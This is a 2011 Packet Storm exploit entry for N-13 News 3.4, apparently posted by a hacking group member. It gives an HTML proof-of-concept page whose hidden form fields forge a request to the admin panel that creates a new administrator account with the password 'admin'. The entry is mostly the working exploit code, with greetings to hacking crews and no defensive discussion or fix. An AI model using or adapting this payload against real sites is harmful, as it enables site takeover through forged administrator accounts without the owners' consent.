N-13 News 3.4 Cross Site Request Forgery

2011-01-19T00:00:00
ID PACKETSTORM:97646
Type packetstorm
Reporter anT!-Tr0J4n
Modified 2011-01-19T00:00:00

Description

                                        
                                            `========================================================  
N-13 News 3.4 Remote Admin Add CSRF Exploit  
========================================================  
  
#Title: N-13 News 3.4 Remote Admin Add CSRF Exploit  
  
#Author : anT!-Tr0J4n  
  
#Email : D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com  
  
#Greetz : Dev-PoinT.com ; hack-book.com // GlaDiatOr ; Coffin Of Evil ;The Sword; Cyber-Err0r ; R3d-D3v1L  
  
#special thanks : 1337db team : r0073r, Sid3^effects ,L0rd CruSad3r ,SeeMe ,gunslinger_ ,Sn!pEr.S!Te , indoushka , KnocKout,  
  
#Home : http://1337db.com  
  
#Software : http://network-13.com  
  
#Version : 3.4  
  
#Tested on: Windows XP sp3  
  
-----------------------------------  
<html>  
<head>  
<title>Remote Admin Add CSRF Exploit</title>  
</head>  
<H2>Remote Admin Add CSRF Exploit by anT!-Tr0J4n</H2>  
<form method="POST" name="form0" action="http://localhost/news/admin.php?action=options&mod=accounts&create=new">  
<input type="hidden" name="accountname" value="admin"/>  
<input type="hidden" name="accountemail" value="admin@local.com"/>  
<input type="hidden" name="accountpassword1" value="admin"/>  
<input type="hidden" name="accountpassword2" value="admin"/>  
<input type="hidden" name="accountaccesslevel" value="1"/>  
<input type="hidden" name="S1" value="Save"/>  
</form>  
<form method="GET" name="form1" action="http://localhost/news/js/main.php">  
<input type="hidden" name="name" value="value"/>  
</form>  
  
</body>  
</html>  
  
  
`